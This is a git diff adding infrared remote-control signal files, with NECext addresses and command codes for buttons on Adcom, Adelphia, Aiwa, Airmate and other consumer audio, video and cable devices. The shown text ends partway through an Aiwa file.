b/assets/resources/infrared/_CSV-IRDB_/Adcom/Unknown/81,0.ir new file mode 100644 index 000000000..e79e83c97 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adcom/Unknown/81,0.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 00 00 00 00 +# +name: TUNING_< +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 02 00 00 00 +# +name: TUNING_> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 03 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 07 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 08 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 09 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0B 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0C 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0D 00 00 00 +# +name: VIDEO/TAPE_2 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0E 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 10 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 11 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 12 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 13 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 17 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 19 00 00 00 +# +name: TRACK_<< +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1A 00 00 00 +# +name: TRACK_>> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1B 00 00 00 +# +name: VOLUME_< +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir new file mode 100644 index 000000000..3f3ec0815 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: MUSIC/ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: DAY+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: DAY- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: PAGE- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: PAGE+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir new file mode 100644 index 000000000..c022259bf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir new file mode 100644 index 000000000..efe970791 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 03 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 04 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 05 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 06 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 08 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0B 00 00 00 +# +name: CURSER_SELECT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0E 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1E 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1F 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 26 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 27 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 28 00 00 00 +# +name: RWD +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 29 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2C 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2F 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 30 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 33 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 34 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 35 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 36 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 37 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 39 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3E 00 00 00 +# +name: VOD +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir b/assets/resources/infrared/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir new file mode 100644 index 000000000..9dd1c33e6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 24 4B 00 00 +command: 08 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 24 4B 00 00 +command: 0C 00 00 00 +# +name: digital +type: parsed +protocol: NECext +address: 24 4B 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 24 4B 00 00 +command: 14 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 24 4B 00 00 +command: 48 00 00 00 +# +name: phono +type: parsed +protocol: NECext +address: 24 4B 00 00 +command: 4C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 24 4B 00 00 +command: 50 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 24 4B 00 00 +command: 54 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 24 4B 00 00 +command: 55 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir new file mode 100644 index 000000000..6c8dab57a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: STANDBY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: BAL_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: BAL_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: PHASE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0B 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0E 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Airmate/Fan/3,1.ir b/assets/resources/infrared/_CSV-IRDB_/Airmate/Fan/3,1.ir new file mode 100644 index 000000000..99bf46ec9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Airmate/Fan/3,1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: Oscillation +type: parsed +protocol: NECext +address: 03 01 00 00 +command: 09 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 03 01 00 00 +command: 11 00 00 00 +# +name: Fan_mode +type: parsed +protocol: NECext +address: 03 01 00 00 +command: 21 00 00 00 +# +name: Speed +type: parsed +protocol: NECext +address: 03 01 00 00 +command: 41 00 00 00 +# +name: Light +type: parsed +protocol: NECext +address: 03 01 00 00 +command: 63 00 00 00 +# +name: Shutdown +type: parsed +protocol: NECext +address: 03 01 00 00 +command: 81 00 00 00 +# +name: Presets +type: parsed +protocol: NECext +address: 03 01 00 00 +command: C3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/CD Player/118,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/CD Player/118,0.ir new file mode 100644 index 000000000..7af0d1d7c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/CD Player/118,0.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0A 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0B 00 00 00 +# +name: REMAIN/ENTER +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0D 00 00 00 +# +name: PLAY/PAUSE_> +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 15 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 16 00 00 00 +# +name: SKIP/SEARCH_>> +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 18 00 00 00 +# +name: SKIP/SEARCH_<< +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 19 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir new file mode 100644 index 000000000..9e659e30f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: DECK1_MS_>> +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 01 00 00 00 +# +name: DECK1_MS_<< +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 02 00 00 00 +# +name: DECK1_REC_MUTE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 03 00 00 00 +# +name: DECK1_REC +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 04 00 00 00 +# +name: DECK1_PLAY_> +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 05 00 00 00 +# +name: DECK1_R.PLAY_< +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 06 00 00 00 +# +name: DECK1_PAUSE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 07 00 00 00 +# +name: MONITOR_SOURCE/TAPE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 08 00 00 00 +# +name: DECK1_STOP_[] +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 0A 00 00 00 +# +name: DECK1 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 0E 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 0F 00 00 00 +# +name: DECK2 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 0F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 10 00 00 00 +# +name: MS/CUE_>> +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 11 00 00 00 +# +name: DECK2_MS_>> +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 11 00 00 00 +# +name: MS/REVIEW_<< +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 12 00 00 00 +# +name: DECK2_MS_<< +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 12 00 00 00 +# +name: REC_MUTE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 13 00 00 00 +# +name: DECK2_REC_MUTE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 13 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 14 00 00 00 +# +name: DECK2_REC +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 14 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 15 00 00 00 +# +name: DECK2_PLAY_> +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 15 00 00 00 +# +name: DECK2_R.PLAY_< +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 16 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 17 00 00 00 +# +name: DECK2_PAUSE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 17 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 1A 00 00 00 +# +name: DECK2_STOP_[] +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 1A 00 00 00 +# +name: COUNTER_ZERO_RETURN +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 1B 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 1C 00 00 00 +# +name: HIGH +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 1D 00 00 00 +# +name: DUAL_REC +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Mini System/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Mini System/110,0.ir new file mode 100644 index 000000000..60f55bbeb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Mini System/110,0.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 52 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir new file mode 100644 index 000000000..4cb7a151d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: DSL +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: SURROUND_ON/OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 3F 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 46 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 77 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 78 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 79 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir new file mode 100644 index 000000000..916c7c7be --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_PRESET_+ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 10 00 00 00 +# +name: TUNER_PRESET_- +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 11 00 00 00 +# +name: TUNER_INDEX_+ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 50 00 00 00 +# +name: TUNER_INDEX_- +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 51 00 00 00 +# +name: TUNER_SELECT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 52 00 00 00 +# +name: GEQ_LINK +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir new file mode 100644 index 000000000..101bd1af5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1E 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 21 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 23 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: DAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir new file mode 100644 index 000000000..f3eb20a20 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: GEQ_ON/OFF +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2C 00 00 00 +# +name: GEQ_MODE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown/127,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown/127,0.ir new file mode 100644 index 000000000..5bba3d62a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown/127,0.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0A 00 00 00 +# +name: CH +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0C 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0D 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0E 00 00 00 +# +name: COUNTER_DISPLAY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 10 00 00 00 +# +name: F.FWD_>>_/_>> +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 11 00 00 00 +# +name: REW_<<_/_<< +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 12 00 00 00 +# +name: -REC/QTR- +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 14 00 00 00 +# +name: 